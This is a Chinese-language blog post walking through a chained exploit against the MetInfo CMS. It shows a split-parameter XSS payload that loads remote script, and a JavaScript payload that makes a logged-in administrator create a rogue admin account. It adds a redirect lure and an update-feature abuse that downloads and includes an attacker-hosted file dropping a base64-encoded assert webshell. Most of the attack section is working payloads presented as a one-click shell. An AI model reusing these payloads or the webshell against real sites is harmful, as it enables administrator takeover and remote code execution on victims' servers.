MetInfo多处框架缺陷(一键Getshell)

  • A+
所属分类:颓废's Blog
摘要

首先列举所有利用到的缺陷 全局参数可被污染

无CSRF防御框架 $_GET,$_POST,

$_COOKIE请求被合并处理 特殊的XSS

首先列举所有利用到的缺陷

全局参数可被污染

无CSRF防御框架 $_GET,$_POST,

$_COOKIE请求被合并处理 特殊的XSS

框架分析:

(1)Metinfo框架在文件include/common.inc.php中,将$_GET,$_POST,$_COOKIE请求合并进行了处理,这意味着整个框架所有$_POST的请求都可以修改为$_GET请求,并且直接对各种全局变量进行了赋值。

(2)metinfo没有防止csrf的框架

A. XSS漏洞文件:admin/content/product/addimg.php

if($action=='add'){    $num = $lp+1;     $newlist = "       <div class=/"v52fmbx_dlbox newlist/">          <dl>             <dt class='addimgdt'>                <p>{$lang_setflashName}{$lang_marks}</p>                <p>{$lang_modimgurl}{$lang_marks}</p>             </dt>             <dd style='position:relative;'>                <div style='margin-bottom:10px;'>                   <input name='displayname{$lp}' type='text' class='text med' value='' />                </div>                <input name='displayimg{$lp}' type='text' class='text' value='' />                <input name='met_upsql{$lp}' type='file' id='displayimg_upload{$lp}' />                <script type='text/javascript'>                   metuploadify('#displayimg_upload{$lp}','big_wate_img','displayimg{$lp}','','5');                </script>                <a href='javascript:;' onclick='imgnumfu();deletdisplayimg($(this));' class='displayimg_del'>{$lang_delete}</a>             </dd>          </dl>       </div>          ";    echo $newlist; }

payload:

/admin/content/product/addimg.php?action=add&lang_modimgurl=%3Cscript%20src=http://secgui&lang_marks=.com/template/metinfo.js%3E%3C/script%3E#

XSS面临的问题有:

(1)浏览器本身的XSS防御

(2)met_setcookie设置了httponly无法获取cookie

但是这个XSS比较特殊,这个XSS由两个参数合并显示

{$lang_setflashName}{$lang_marks}

所以只要拆分一个payload到两个参数中,类似Chrome本身的防护机制无法检测到这个payload。

那加载了JS之后如何使用这个JS呢?

因为$_GET,$_POST,$_COOKIE请求被合并处理,让管理员触发js打开新标签加载url,带入对应的payload,就可以完成原本需要POST请求带cookie才能完成的管理员的动作,httponly相当于摆设。

metinfo.js里的payload

window.location.href="http://受害者域名/admin/admin/save.php?action=add&lang=cn&anyid=47&useid=ceshiguanli&pass1=ceshiguanli&pass2=ceshiguanli&name&sex=0&tel&mobile=15678197538&email=1875197538%2540qq.com&qq&msn&taobao&admin_introduction&admin_group=3&langok=metinfo&langok_cn=cn&langok_en=en&langok_tc=tc&admin_pop1801=1801&admin_op0=metinfo&admin_op1=add&admin_op2=editor&admin_op3=del&admin_pop=yes&admin_pops1301=s1301&admin_popc1=c1&admin_popc2=c2&admin_popc3=c3&admin_popc25=c25&admin_popc31=c31&admin_popc32=c32&admin_popc33=c33&admin_popc36=c36&admin_popc37=c37&admin_popc38=c38&admin_popc39=c39&admin_popc40=c40&admin_popc41=c41&admin_popc42=c42&admin_popc43=c43&admin_popc49=c49&admin_popc44=c44&admin_popc50=c50&admin_popc45=c45&admin_popc46=c46&admin_popc47=c47&admin_popc51=c51&admin_popc60=c60&admin_popc61=c61&admin_popc62=c62&admin_popc63=c63&admin_popc68=c68&admin_popc69=c69&admin_popc70=c70&admin_popc86=c86&admin_popc84=c84&admin_popc87=c87&admin_popc88=c88&admin_popc92=c92&admin_popc93=c93&admin_popc94=c94&admin_popc95=c95&admin_popc96=c96&admin_popc97=c97&admin_pop9999=9999&admin_pops1401=s1401&admin_pops1106=s1106&admin_pops1404=s1404&admin_pops1406=s1406&admin_pops1101=s1101&admin_pops1102=s1102&admin_pops1505=s1505&admin_pops1507=s1507&admin_pops1503=s1503&admin_pops1504=s1504&admin_pops1006=s1006&admin_pops1501=s1501&admin_pops1601=s1601&admin_pops1603=s1603&admin_pops1004=s1004&admin_pops1005=s1005&admin_pops1007=s1007&admin_pops1103=s1103&admin_pops1201=s1201&admin_pops1002=s1002&admin_pops1003=s1003&admin_pops1104=s1104&Submit=%25E4%25BF%259D%25E5%25AD%2598";

攻击者首先设置

http://攻击者域名/index.php 中代码为

<?php header('Location: http://受害者域名/admin/content/product/addimg.php?action=add&lang_modimgurl=%3Cscript%20src=http://secgui&lang_marks=.com/template/metinfo.js%3E%3C/script%3E#');

攻击者可以申请友情链接,管理员在后台看见之后,打开攻击者的域名,被重定向至XSS页面,从而成功添加管理员的账号。

B. 还想要GETSHELL怎么办?

先上Payload

window.location.href="http://受害者域名/admin/system/olupdate.php?action=down&met_host=攻击者域名(不要加http://)/vul.html"

vul.html里的内容

metinfo//<?php define(a,"PD9waHAgJF89Il8iOyRTPSJTIjskVF89IlQiOyRUPSJQIjskRT0iTyI7JF90ZXN0Xz0kXy4kVC4kRS4kUy4kVF87JHtzaG93fT1zdWJzdHIoImFzc2VydC5waHAiLC0xMCwtNCk7JHNob3coJHskX3Rlc3RffVt2YXJdKTs=");file_put_contents("./assert.php",base64_decode(a));echo "没有所需的Flash插件/r/n浏览器可能会自动开始下载所需插件/r/n";metinfo

管理员点击我们域名之后,就会在admin/system/目录地下生成一个shell

admin/system/assert.php

这是怎么办到的呢?

关联代码:

/admin/system/olupdate.php:274行

else if($action=='down'){/*下载文件*/    $adminfile=$url_array[count($url_array)-2];    $return=dlfile("$addr/dlfilelist.txt","../update/$addr/dlfilelist.txt");    if($return!=1){       dl_error("{$lang_updaterr8}".dlerror($return)."({$adminfile}/update/$addr/dlfilelist.txt)",$type,$olid,$ver,$addr,$action);    }    $return=dlfile("$addr/dladd.php","../update/$addr/dladd.php");    if($return!=1){       dl_error("{$lang_updaterr8}".dlerror($return)."({$adminfile}/update/$addr/dladd.php)",$type,$olid,$ver,$addr,$action);    }    $dladd=file_get_contents("../update/$addr/dladd.php");    if($dladd!="No Date"){       include "../update/$addr/dladd.php";    }    $dladd=file_get_contents("../update/$addr/dladd.php"); if($dladd!="No Date"){    include "../update/$addr/dladd.php"; }    ...

跟踪dlfile函数

include/export.func.php:112行

public function dlfile($urlfrom, $urlto, $checksum = '',$timeout = 30) {    global $_M;    $post_data = array('urlfrom'=>$urlfrom, 'checknum'=>$checksum, 'cmsver'=>$_M['config']['metcms_v']);    $result = $this->curl_post($post_data, $timeout);    $link = $this->error_no($result);    if($link != 1){       return $link;    }    if(substr($result,-7) == 'metinfo'){          $result=substr($result,0,-7);       $link = $this->error_no($result);       if ($link == 1) {          if ($urlto) {             if(!file_exists($urlto)){                makefile($urlto);             }             $return = file_put_contents($urlto,$result);                   if (!$return) {                return $this->error_no('No filepower');             } else {                return 1;             }          } else {             return $result;          }       }else{          return $link;       }    } else {       return $this->error_no('Timeout');    }  }

调用了curl_post()

function curl_post($post,$timeout){ global $met_weburl,$met_host,$met_file; $host=$met_host; $file=$met_file;    if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){       $curlHandle=curl_init();        curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);       curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);       curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1);        curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);       curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);       curl_setopt($curlHandle,CURLOPT_POST, 1);         curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);       $result=curl_exec($curlHandle);        curl_close($curlHandle);     }

其中

$host=$met_host;
$file=$met_file;

两个全局变量都是我们可以伪造的,那么就可以用这个函数来下载我们远程服务器上的webshell了,框架里的检测也被我的payload bypass掉了。

admin/system/olupdate.php:286

行还include了我远程下载的文件,执行了其中的代码。

于是webshell就已经生成了

?admin/system/assert.php


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: